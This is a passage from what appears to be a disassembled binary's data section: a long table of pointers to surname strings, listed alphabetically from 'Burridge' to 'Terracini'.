aBurridge ; "Burridge" dd offset aBusetta ; "Busetta" dd offset aByatt ; "Byatt" dd offset aByerly ; "Byerly" dd offset aByrd ; "Byrd" dd offset aCage ; "Cage" dd offset aCalnan ; "Calnan" dd offset aCammelli ; "Cammelli" dd offset aCammilleri ; "Cammilleri" dd offset aCanley ; "Canley" dd offset aCapanni ; "Capanni" dd offset aCaperton ; "Caperton" dd offset aCapocaccia ; "Capocaccia" dd offset aCapodilupo ; "Capodilupo" dd offset aCappuccio ; "Cappuccio" dd offset aCapursi ; "Capursi" dd offset aCaratozzolo ; "Caratozzolo" dd offset aCarayannopoulo ; "Carayannopoulos" dd offset aCarlin ; "Carlin" dd offset aCarlos ; "Carlos" dd offset aCarlyle ; "Carlyle" dd offset aCarmichael ; "Carmichael" dd offset aCaroti ; "Caroti" dd offset aCarper ; "Carper" dd offset aCartmill ; "Cartmill" dd offset aCascio ; "Cascio" dd offset aCase ; "Case" dd offset aCaspar ; "Caspar" off_445750 dd offset aCastelda ; DATA XREF: .nsp0:off_44B628o ; "Castelda" dd offset aCavanagh ; "Cavanagh" dd offset aCavell ; "Cavell" dd offset aCeniceros ; "Ceniceros" dd offset aCerioli ; "Cerioli" dd offset aChapman ; "Chapman" dd offset aCharles_0 ; "Charles" dd offset aCheang ; "Cheang" dd offset aCherry ; "Cherry" dd offset aChervinsky ; "Chervinsky" dd offset aChiassino ; "Chiassino" dd offset aChien ; "Chien" dd offset aChildress ; "Childress" dd offset aChilds ; "Childs" dd offset aChinipardaz ; "Chinipardaz" dd offset aChinman ; "Chinman" dd offset aChristenson ; "Christenson" dd offset aChristian ; "Christian" dd offset aChristiano ; "Christiano" dd offset aChristie ; "Christie" dd offset aChristopher ; "Christopher" dd offset aChu ; "Chu" dd offset aChupasko ; "Chupasko" dd offset aChurch ; "Church" dd offset aCiampaglia ; "Ciampaglia" dd offset aCicero ; "Cicero" dd offset aCifarelli ; "Cifarelli" dd offset aClaffey ; "Claffey" dd offset aClancy ; "Clancy" dd offset aClark ; "Clark" dd offset aClement ; "Clement" dd offset aClifton ; "Clifton" dd offset aClow ; "Clow" dd offset aCoblenz ; "Coblenz" dd offset aCoito ; "Coito" dd offset aColdren ; "Coldren" dd offset aColella ; "Colella" dd offset aCollard ; "Collard" dd offset aCollis ; "Collis" dd offset aCompton ; "Compton" dd offset aCompton_0 ; "Compton" dd offset aComstock ; "Comstock" dd offset aConcino ; "Concino" dd offset aCondodina ; "Condodina" dd offset aConnors ; "Connors" dd offset aCorey ; "Corey" dd offset aCornish ; "Cornish" dd offset aCosmides ; "Cosmides" dd offset aCounter ; "Counter" dd offset aCoutaux ; "Coutaux" dd offset aCrawford ; "Crawford" dd offset aCrocker ; "Crocker" dd offset aCroshaw ; "Croshaw" dd offset aCroxen ; "Croxen" dd offset aCroxton ; "Croxton" dd offset aCui ; "Cui" dd offset aCurrier ; "Currier" dd offset aCutler ; "Cutler" dd offset aCvek ; "Cvek" dd offset aCyders ; "Cyders" dd offset aDasilva ; "daSilva" dd offset aDaldalian ; "Daldalian" dd offset aDaly ; "Daly" dd offset aDAmbra ; "D'Ambra" dd offset aDanieli ; "Danieli" dd offset aDante ; "Dante" dd offset aDapice ; "Dapice" dd offset aDArcangelo ; "D'arcangelo" dd offset aDas ; "Das" dd offset aDasgupta ; "Dasgupta" dd offset aDaskalu ; "Daskalu" dd offset aDavid ; "David" dd offset aDawkins ; "Dawkins" dd offset aDegennaro ; "DeGennaro" dd offset aDelapena ; "DeLaPena" dd offset aDelEnclos ; "del'Enclos" dd offset aDerousse ; "deRousse" dd offset aDebroff ; "Debroff" dd offset aDees ; "Dees" dd offset aDefeciani ; "Defeciani" dd offset aDelattre ; "Delattre" dd offset aDeleonRendon ; "Deleon-Rendon" dd offset aDelger ; "Delger" dd offset aDellAcqua ; "Dell'acqua" dd offset aDeming ; "Deming" dd offset aDempster ; "Dempster" dd offset aDemusz ; "Demusz" dd offset aDenault ; "Denault" dd offset aDenham ; "Denham" dd offset aDenison ; "Denison" dd offset aDesombre ; "Desombre" dd offset aDeutsch ; "Deutsch" dd offset aDFini ; "D'fini" dd offset aDicks ; "Dicks" dd offset aDiefenbach ; "Diefenbach" dd offset aDifabio ; "Difabio" dd offset aDifronzo ; "Difronzo" dd offset aDilworth ; "Dilworth" dd offset aDionysius ; "Dionysius" dd offset aDirksen ; "Dirksen" dd offset aDockery ; "Dockery" dd offset aDoherty ; "Doherty" dd offset aDonahue ; "Donahue" dd offset aDonner ; "Donner" dd offset aDoonan ; "Doonan" dd offset aDore ; "Dore" dd offset aDorf ; "Dorf" dd offset aDosi ; "Dosi" dd offset aDoty ; "Doty" dd offset aDoug ; "Doug" dd offset aDowsland ; "Dowsland" dd offset aDrinker ; "Drinker" dd offset aDSouza ; "D'souza" dd offset aDuffin ; "Duffin" dd offset aDurrett ; "Durrett" dd offset aDussault ; "Dussault" dd offset aDwyer ; "Dwyer" dd offset aEardley ; "Eardley" dd offset aEbeling ; "Ebeling" dd offset aEckel ; "Eckel" dd offset aEdley ; "Edley" dd offset aEdner ; "Edner" dd offset aEdward ; "Edward" dd offset aEickenhorst ; "Eickenhorst" dd offset aEliasson ; "Eliasson" dd offset aElmendorf ; "Elmendorf" dd offset aElmerick ; "Elmerick" dd offset aElvis ; "Elvis" dd offset aEncinas ; "Encinas" dd offset aEnyeart ; "Enyeart" dd offset aEppling ; "Eppling" dd offset aErbach ; "Erbach" dd offset aErdman ; "Erdman" dd offset aErdos ; "Erdos" dd offset aErez ; "Erez" dd offset aEspinoza ; "Espinoza" dd offset aEstes ; "Estes" dd offset aEtter ; "Etter" dd offset aEuripides ; "Euripides" dd offset aEverett ; "Everett" dd offset aFabbris ; "Fabbris" dd offset aFagan ; "Fagan" dd offset aFaioes ; "Faioes" dd offset aFalcoAcosta ; "Falco-Acosta" dd offset aFalorsi ; "Falorsi" dd offset aFaris ; "Faris" dd offset aFarone ; "Farone" dd offset aFarren ; "Farren" dd offset aFasso ; "Fasso'" dd offset aFates ; "Fates" dd offset aFeigenbaum ; "Feigenbaum" dd offset aFejzo ; "Fejzo" dd offset aFeldman ; "Feldman" dd offset aFernald ; "Fernald" dd offset aFernandes ; "Fernandes" dd offset aFerrante ; "Ferrante" dd offset aFerriell ; "Ferriell" dd offset aFeuer ; "Feuer" dd offset aFido ; "Fido" dd offset aField_0 ; "Field" dd offset aFink ; "Fink" dd offset aFinkelstein ; "Finkelstein" dd offset aFinnegan ; "Finnegan" dd offset aFiorina ; "Fiorina" dd offset aFisk ; "Fisk" dd offset aFitzmaurice ; "Fitzmaurice" dd offset aFlier ; "Flier" dd offset aFlores ; "Flores" dd offset aFolks ; "Folks" dd offset aForester ; "Forester" dd offset aFortes ; "Fortes" dd offset aFortier ; "Fortier" dd offset aFossey ; "Fossey" dd offset aFossi ; "Fossi" dd offset aFrancisco ; "Francisco" dd offset aFranklinKenea ; "Franklin-Kenea" dd offset aFranz ; "Franz" dd offset aFrazierDavis ; "Frazier-Davis" dd offset aFreid ; "Freid" dd offset aFreundlich ; "Freundlich" dd offset aFried ; "Fried" dd offset aFriedland ; "Friedland" dd offset aFrisken ; "Frisken" dd offset aFrowiss ; "Frowiss" dd offset aFryberger ; "Fryberger" dd offset aFrye ; "Frye" dd offset aFujiiAbe ; "Fujii-Abe" dd offset aFuller ; "Fuller" dd offset aFurth ; "Furth" dd offset aFusaro ; "Fusaro" dd offset aGabrielli ; "Gabrielli" dd offset aGaggiotti ; "Gaggiotti" dd offset aGaleotti ; "Galeotti" dd offset aGalwey ; "Galwey" dd offset aGambini ; "Gambini" dd offset aGarfield_0 ; "Garfield" dd offset aGarman ; "Garman" dd offset aGaronna ; "Garonna" dd offset aGeller ; "Geller" dd offset aGemberling ; "Gemberling" dd offset aGeorgi ; "Georgi" dd offset aGerrett ; "Gerrett" dd offset aGhorai ; "Ghorai" dd offset aGibbens ; "Gibbens" dd offset aGibson_0 ; "Gibson" dd offset aGilbert ; "Gilbert" dd offset aGili ; "Gili" dd offset aGill ; "Gill" dd offset aGillispie ; "Gillispie" dd offset aGist ; "Gist" dd offset aGleason ; "Gleason" dd offset aGlegg ; "Glegg" dd offset aGlendon ; "Glendon" dd offset aGoldfarb ; "Goldfarb" dd offset aGoncalves ; "Goncalves" dd offset aGood_0 ; "Good" dd offset aGoodearl ; "Goodearl" dd offset aGoody ; "Goody" dd offset aGozzi ; "Gozzi" dd offset aGravell ; "Gravell" dd offset aGreenberg ; "Greenberg" dd offset aGreenfeld ; "Greenfeld" dd offset aGriffiths ; "Griffiths" dd offset aGrigoletto ; "Grigoletto" dd offset aGrummell ; "Grummell" dd offset aGruner ; "Gruner" dd offset aGruppe ; "Gruppe" dd offset aGuenthart ; "Guenthart" dd offset aGunn ; "Gunn" dd offset aGuo ; "Guo" dd offset aHa ; "Ha" dd offset aHaar ; "Haar" dd offset aHackman ; "Hackman" dd offset aHackshaw ; "Hackshaw" dd offset aHaley ; "Haley" dd offset aHalkias ; "Halkias" dd offset aHallowell ; "Hallowell" dd offset aHalpert ; "Halpert" dd offset aHambarzumjan ; "Hambarzumjan" dd offset aHamer ; "Hamer" dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker_0 ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry_0 ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight_0 ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda_0 ; "Linda" dd offset aLinder ; "Linder" dd offset aLine_0 ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch_0 ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay_0 ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick_0 ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush_0 ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange_0 ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset 